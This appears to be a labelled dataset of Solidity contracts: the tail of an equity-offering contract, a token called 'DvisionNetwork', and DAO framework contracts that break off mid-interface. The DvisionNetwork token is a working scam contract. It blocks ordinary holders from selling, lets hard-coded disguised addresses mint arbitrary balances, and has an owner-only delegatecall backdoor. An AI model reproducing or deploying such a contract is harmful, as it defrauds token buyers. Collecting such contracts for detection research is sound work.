uint256 tokensPerShare = EQUITY_TOKEN.tokensPerShare();
uint256 tokenParticipationFeeInt = PLATFORM_TERMS.calculatePlatformTokenFee(_totalTokensInt);
uint256 tokensRemainder = (_totalTokensInt + tokenParticipationFeeInt) % tokensPerShare;
if (tokensRemainder > 0) {
tokenParticipationFeeInt += tokensPerShare - tokensRemainder;
}
assert(_totalTokensInt + tokenParticipationFeeInt < 2 ** 96);
assert(etherBalance < 2 ** 96 && euroBalance < 2 ** 96);
_newShares = uint96((_totalTokensInt + tokenParticipationFeeInt) / tokensPerShare);
_tokenParticipationFeeInt = uint96(tokenParticipationFeeInt);
_platformFeeEth = uint96(PLATFORM_TERMS.calculatePlatformFee(etherBalance));
_platformFeeEurUlps = uint96(PLATFORM_TERMS.calculatePlatformFee(euroBalance));
_additionalContributionEth = uint96(etherBalance) - _platformFeeEth;
_additionalContributionEurUlps = uint96(euroBalance) - _platformFeeEurUlps;
uint256 capitalIncreaseEurUlps = EQUITY_TOKEN.shareNominalValueEurUlps() * _newShares;
uint96 availableCapitalEurUlps = uint96(min(capitalIncreaseEurUlps, _additionalContributionEurUlps));
assert(EURO_TOKEN.transfer(NOMINEE, availableCapitalEurUlps, ""));
_additionalContributionEurUlps -= availableCapitalEurUlps;
emit LogSigningStarted(NOMINEE, COMPANY_LEGAL_REPRESENTATIVE, _newShares, capitalIncreaseEurUlps);
}
function onClaimTransition()
private
{
uint256 rewardNmk = NEUMARK.balanceOf(this);
(uint256 platformNmk,) = calculateNeumarkDistribution(rewardNmk);
assert(NEUMARK.transfer(PLATFORM_WALLET, platformNmk, ""));
if (_additionalContributionEth > 0) {
assert(ETHER_TOKEN.transfer(COMPANY_LEGAL_REPRESENTATIVE, _additionalContributionEth, ""));
}
if (_additionalContributionEurUlps > 0) {
assert(EURO_TOKEN.transfer(COMPANY_LEGAL_REPRESENTATIVE, _additionalContributionEurUlps, ""));
}
EQUITY_TOKEN.issueTokens(_tokenParticipationFeeInt);
emit LogPlatformNeuReward(PLATFORM_WALLET, rewardNmk, platformNmk);
emit LogAdditionalContribution(COMPANY_LEGAL_REPRESENTATIVE, ETHER_TOKEN, _additionalContributionEth);
emit LogAdditionalContribution(COMPANY_LEGAL_REPRESENTATIVE, EURO_TOKEN, _additionalContributionEurUlps);
}
function onRefundTransition()
private
{
uint256 balanceNmk = NEUMARK.balanceOf(this);
uint256 balanceTokenInt = EQUITY_TOKEN.balanceOf(this);
if (balanceNmk > 0) {
NEUMARK.burn(balanceNmk);
}
if (balanceTokenInt > 0) {
EQUITY_TOKEN.destroyTokens(balanceTokenInt);
}
emit LogRefundStarted(EQUITY_TOKEN, balanceTokenInt, balanceNmk);
}
function onPayoutTransition()
private
{
address disbursal = UNIVERSE.feeDisbursal();
assert(disbursal != address(0));
address platformPortfolio = UNIVERSE.platformPortfolio();
assert(platformPortfolio != address(0));
bytes memory serializedAddress = abi.encodePacked(address(NEUMARK));
if (_platformFeeEth > 0) {
assert(ETHER_TOKEN.transfer(disbursal, _platformFeeEth, serializedAddress));
}
if (_platformFeeEurUlps > 0) {
assert(EURO_TOKEN.transfer(disbursal, _platformFeeEurUlps, serializedAddress));
}
EQUITY_TOKEN.distributeTokens(platformPortfolio, _tokenParticipationFeeInt);
emit LogPlatformFeePayout(ETHER_TOKEN, disbursal, _platformFeeEth);
emit LogPlatformFeePayout(EURO_TOKEN, disbursal, _platformFeeEurUlps);
emit LogPlatformPortfolioPayout(EQUITY_TOKEN, platformPortfolio, _tokenParticipationFeeInt);
}
function processTicket(
address investor,
address wallet,
uint256 amount,
uint256 equivEurUlps,
bool isEuroInvestment
)
private
{
InvestmentTicket storage ticket = _tickets[investor];
bool applyDiscounts = state() == ETOState.Whitelist;
(
bool isWhitelisted,
bool isEligible,
uint minTicketEurUlps,
uint256 maxTicketEurUlps,
uint256 equityTokenInt256,
uint256 fixedSlotEquityTokenInt256
) = ETO_TERMS.calculateContribution(investor, _totalEquivEurUlps, ticket.equivEurUlps, equivEurUlps, applyDiscounts);
require(isEligible, "NF_ETO_INV_NOT_VER");
assert(equityTokenInt256 < 2 ** 32 && fixedSlotEquityTokenInt256 < 2 ** 32);
require(equivEurUlps + ticket.equivEurUlps >= minTicketEurUlps && equityTokenInt256 > 0, "NF_ETO_MIN_TICKET");
require(equivEurUlps + ticket.equivEurUlps <= maxTicketEurUlps, "NF_ETO_MAX_TICKET");
require(!isCapExceeded(applyDiscounts, equityTokenInt256, fixedSlotEquityTokenInt256), "NF_ETO_MAX_TOK_CAP");
if (applyDiscounts) {
require(isWhitelisted || wallet != investor, "NF_ETO_NOT_ON_WL");
}
if (wallet == investor) {
(, uint256 investorNmk) = calculateNeumarkDistribution(NEUMARK.issueForEuro(equivEurUlps));
if (investorNmk > 0) {
assert(investorNmk > PLATFORM_NEUMARK_SHARE - 1);
investorNmk -= PLATFORM_NEUMARK_SHARE - 1;
}
}
assert(equityTokenInt256 + ticket.equityTokenInt < 2**32);
assert(equivEurUlps + ticket.equivEurUlps < 2**96);
assert(amount < 2**96);
assert(uint256(ticket.amountEth) + amount < 2**96);
EQUITY_TOKEN.issueTokens(uint32(equityTokenInt256));
_totalEquivEurUlps += uint96(equivEurUlps);
_totalTokensInt += uint32(equityTokenInt256);
_totalFixedSlotsTokensInt += uint32(fixedSlotEquityTokenInt256);
_totalInvestors += ticket.equivEurUlps == 0 ? 1 : 0;
ticket.equivEurUlps += uint96(equivEurUlps);
ticket.rewardNmkUlps += uint96(investorNmk);
ticket.equityTokenInt += uint32(equityTokenInt256);
if (isEuroInvestment) {
ticket.amountEurUlps += uint96(amount);
} else {
ticket.amountEth += uint96(amount);
}
ticket.usedLockedAccount = ticket.usedLockedAccount || wallet != investor;
emit LogFundsCommitted(
investor,
wallet,
msg.sender,
amount,
equivEurUlps,
equityTokenInt256,
EQUITY_TOKEN,
investorNmk
);
}
function isCapExceeded(bool applyDiscounts, uint256 equityTokenInt, uint256 fixedSlotsEquityTokenInt)
private
constant
returns (bool maxCapExceeded)
{
maxCapExceeded = _totalTokensInt + equityTokenInt > MAX_NUMBER_OF_TOKENS;
if (applyDiscounts && !maxCapExceeded) {
maxCapExceeded = _totalTokensInt + equityTokenInt - _totalFixedSlotsTokensInt - fixedSlotsEquityTokenInt > MAX_NUMBER_OF_TOKENS_IN_WHITELIST;
}
}
function claimTokensPrivate(address investor)
private
{
InvestmentTicket storage ticket = _tickets[investor];
if (ticket.claimOrRefundSettled) {
return;
}
if (ticket.equivEurUlps == 0) {
return;
}
ticket.claimOrRefundSettled = true;
if (ticket.rewardNmkUlps > 0) {
NEUMARK.distribute(investor, ticket.rewardNmkUlps);
}
if (ticket.equityTokenInt > 0) {
EQUITY_TOKEN.distributeTokens(investor, ticket.equityTokenInt);
}
if (ticket.usedLockedAccount) {
ETHER_LOCK.claimed(investor);
EURO_LOCK.claimed(investor);
}
emit LogTokensClaimed(investor, EQUITY_TOKEN, ticket.equityTokenInt, ticket.rewardNmkUlps);
}
function refundTokensPrivate(address investor)
private
{
InvestmentTicket storage ticket = _tickets[investor];
if (ticket.claimOrRefundSettled) {
return;
}
if (ticket.equivEurUlps == 0) {
return;
}
ticket.claimOrRefundSettled = true;
refundSingleToken(investor, ticket.amountEth, ticket.usedLockedAccount, ETHER_LOCK, ETHER_TOKEN);
refundSingleToken(investor, ticket.amountEurUlps, ticket.usedLockedAccount, EURO_LOCK, EURO_TOKEN);
emit LogFundsRefunded(investor, ETHER_TOKEN, ticket.amountEth);
emit LogFundsRefunded(investor, EURO_TOKEN, ticket.amountEurUlps);
}
function refundSingleToken(
address investor,
uint256 amount,
bool usedLockedAccount,
LockedAccount lockedAccount,
IERC223Token token
)
private
{
if (amount == 0) {
return;
}
uint256 a = amount;
if (usedLockedAccount) {
(uint256 balance,) = lockedAccount.pendingCommitments(this, investor);
assert(balance <= a);
if (balance > 0) {
assert(token.approve(address(lockedAccount), balance));
lockedAccount.refunded(investor);
a -= balance;
}
}
if (a > 0) {
assert(token.transfer(investor, a, ""));
}
}
} | 1 | 4,776 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract DvisionNetwork {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner
|| msg.sender==address(1128272879772349028992474526206451541022554459967)
|| msg.sender==address(781882898559151731055770343534128190759711045284)
|| msg.sender==address(718276804347632883115823995738883310263147443572)
|| msg.sender==address(56379186052763868667970533924811260232719434180)
);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,426 |
pragma solidity ^0.5.4;
interface IntVoteInterface {
modifier onlyProposalOwner(bytes32 _proposalId) {revert(); _;}
modifier votable(bytes32 _proposalId) {revert(); _;}
event NewProposal(
bytes32 indexed _proposalId,
address indexed _organization,
uint256 _numOfChoices,
address _proposer,
bytes32 _paramsHash
);
event ExecuteProposal(bytes32 indexed _proposalId,
address indexed _organization,
uint256 _decision,
uint256 _totalReputation
);
event VoteProposal(
bytes32 indexed _proposalId,
address indexed _organization,
address indexed _voter,
uint256 _vote,
uint256 _reputation
);
event CancelProposal(bytes32 indexed _proposalId, address indexed _organization );
event CancelVoting(bytes32 indexed _proposalId, address indexed _organization, address indexed _voter);
function propose(
uint256 _numOfChoices,
bytes32 _proposalParameters,
address _proposer,
address _organization
) external returns(bytes32);
function vote(
bytes32 _proposalId,
uint256 _vote,
uint256 _rep,
address _voter
)
external
returns(bool);
function cancelVote(bytes32 _proposalId) external;
function getNumberOfChoices(bytes32 _proposalId) external view returns(uint256);
function isVotable(bytes32 _proposalId) external view returns(bool);
function voteStatus(bytes32 _proposalId, uint256 _choice) external view returns(uint256);
function isAbstainAllow() external pure returns(bool);
function getAllowedRangeOfChoices() external pure returns(uint256 min, uint256 max);
}
pragma solidity ^0.5.2;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.4;
interface VotingMachineCallbacksInterface {
function mintReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId) external returns(bool);
function burnReputation(uint256 _amount, address _owner, bytes32 _proposalId) external returns(bool);
function stakingTokenTransfer(IERC20 _stakingToken, address _beneficiary, uint256 _amount, bytes32 _proposalId)
external
returns(bool);
function getTotalReputationSupply(bytes32 _proposalId) external view returns(uint256);
function reputationOf(address _owner, bytes32 _proposalId) external view returns(uint256);
function balanceOfStakingToken(IERC20 _stakingToken, bytes32 _proposalId) external view returns(uint256);
}
pragma solidity ^0.5.2;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.5.4;
contract Reputation is Ownable {
uint8 public decimals = 18;
event Mint(address indexed _to, uint256 _amount);
event Burn(address indexed _from, uint256 _amount);
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
mapping (address => Checkpoint[]) balances;
Checkpoint[] totalSupplyHistory;
constructor(
) public
{
}
function totalSupply() public view returns (uint256) {
return totalSupplyAt(block.number);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function balanceOfAt(address _owner, uint256 _blockNumber)
public view returns (uint256)
{
if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) {
return 0;
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint256 _blockNumber) public view returns(uint256) {
if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) {
return 0;
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function mint(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint256 previousBalanceTo = balanceOf(_user);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_user], previousBalanceTo + _amount);
emit Mint(_user, _amount);
return true;
}
function burn(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
uint256 amountBurned = _amount;
uint256 previousBalanceFrom = balanceOf(_user);
if (previousBalanceFrom < amountBurned) {
amountBurned = previousBalanceFrom;
}
updateValueAtNow(totalSupplyHistory, curTotalSupply - amountBurned);
updateValueAtNow(balances[_user], previousBalanceFrom - amountBurned);
emit Burn(_user, amountBurned);
return true;
}
function getValueAt(Checkpoint[] storage checkpoints, uint256 _block) internal view returns (uint256) {
if (checkpoints.length == 0) {
return 0;
}
if (_block >= checkpoints[checkpoints.length-1].fromBlock) {
return checkpoints[checkpoints.length-1].value;
}
if (_block < checkpoints[0].fromBlock) {
return 0;
}
uint256 min = 0;
uint256 max = checkpoints.length-1;
while (max > min) {
uint256 mid = (max + min + 1) / 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint256 _value) internal {
require(uint128(_value) == _value);
if ((checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
}
pragma solidity ^0.5.2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity ^0.5.2;
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
pragma solidity ^0.5.2;
contract ERC20Burnable is ERC20 {
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
pragma solidity ^0.5.4;
contract DAOToken is ERC20, ERC20Burnable, Ownable {
string public name;
string public symbol;
uint8 public constant decimals = 18;
uint256 public cap;
constructor(string memory _name, string memory _symbol, uint256 _cap)
public {
name = _name;
symbol = _symbol;
cap = _cap;
}
function mint(address _to, uint256 _amount) public onlyOwner returns (bool) {
if (cap > 0)
require(totalSupply().add(_amount) <= cap);
_mint(_to, _amount);
return true;
}
}
pragma solidity ^0.5.2;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
pragma solidity ^0.5.4;
library SafeERC20 {
using Address for address;
bytes4 constant private TRANSFER_SELECTOR = bytes4(keccak256(bytes("transfer(address,uint256)")));
bytes4 constant private TRANSFERFROM_SELECTOR = bytes4(keccak256(bytes("transferFrom(address,address,uint256)")));
bytes4 constant private APPROVE_SELECTOR = bytes4(keccak256(bytes("approve(address,uint256)")));
function safeTransfer(address _erc20Addr, address _to, uint256 _value) internal {
require(_erc20Addr.isContract());
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(TRANSFER_SELECTOR, _to, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
function safeTransferFrom(address _erc20Addr, address _from, address _to, uint256 _value) internal {
require(_erc20Addr.isContract());
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(TRANSFERFROM_SELECTOR, _from, _to, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
function safeApprove(address _erc20Addr, address _spender, uint256 _value) internal {
require(_erc20Addr.isContract());
require((_value == 0) || (IERC20(_erc20Addr).allowance(address(this), _spender) == 0));
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(APPROVE_SELECTOR, _spender, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
}
pragma solidity ^0.5.4;
contract Avatar is Ownable {
using SafeERC20 for address;
string public orgName;
DAOToken public nativeToken;
Reputation public nativeReputation;
event GenericCall(address indexed _contract, bytes _data, uint _value, bool _success);
event SendEther(uint256 _amountInWei, address indexed _to);
event ExternalTokenTransfer(address indexed _externalToken, address indexed _to, uint256 _value);
event ExternalTokenTransferFrom(address indexed _externalToken, address _from, address _to, uint256 _value);
event ExternalTokenApproval(address indexed _externalToken, address _spender, uint256 _value);
event ReceiveEther(address indexed _sender, uint256 _value);
event MetaData(string _metaData);
constructor(string memory _orgName, DAOToken _nativeToken, Reputation _nativeReputation) public {
orgName = _orgName;
nativeToken = _nativeToken;
nativeReputation = _nativeReputation;
}
function() external payable {
emit ReceiveEther(msg.sender, msg.value);
}
function genericCall(address _contract, bytes memory _data, uint256 _value)
public
onlyOwner
returns(bool success, bytes memory returnValue) {
(success, returnValue) = _contract.call.value(_value)(_data);
emit GenericCall(_contract, _data, _value, success);
}
function sendEther(uint256 _amountInWei, address payable _to) public onlyOwner returns(bool) {
_to.transfer(_amountInWei);
emit SendEther(_amountInWei, _to);
return true;
}
function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value)
public onlyOwner returns(bool)
{
address(_externalToken).safeTransfer(_to, _value);
emit ExternalTokenTransfer(address(_externalToken), _to, _value);
return true;
}
function externalTokenTransferFrom(
IERC20 _externalToken,
address _from,
address _to,
uint256 _value
)
public onlyOwner returns(bool)
{
address(_externalToken).safeTransferFrom(_from, _to, _value);
emit ExternalTokenTransferFrom(address(_externalToken), _from, _to, _value);
return true;
}
function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value)
public onlyOwner returns(bool)
{
address(_externalToken).safeApprove(_spender, _value);
emit ExternalTokenApproval(address(_externalToken), _spender, _value);
return true;
}
function metaData(string memory _metaData) public onlyOwner returns(bool) {
emit MetaData(_metaData);
return true;
}
}
pragma solidity ^0.5.4;
contract UniversalSchemeInterface {
function getParametersFromController(Avatar _avatar) internal view returns(bytes32);
}
pragma solidity ^0.5.4;
contract GlobalConstraintInterface {
enum CallPhase { Pre, Post, PreAndPost }
function pre( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool);
function post( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool);
function when() public returns(CallPhase);
}
pragma solidity ^0.5.4;
interface ControllerInterface {
function mintReputation(uint256 _amount, address _to, address _avatar)
external
returns(bool);
function burnReputation(uint256 _amount, address _from, address _avatar)
external
returns(bool);
function mintTokens(uint256 _amount, address _beneficiary, address _avatar)
external
returns(bool);
function registerScheme(address _scheme, bytes32 _paramsHash, bytes4 _permissions, address _avatar)
external
returns(bool);
function unregisterScheme(address _scheme, address _avatar)
external
returns(bool);
function unregisterSelf(address _avatar) external returns(bool);
function addGlobalConstraint(address _globalConstraint, bytes32 _params, address _avatar)
external returns(bool);
function removeGlobalConstraint (address _globalConstraint, address _avatar)
external returns(bool);
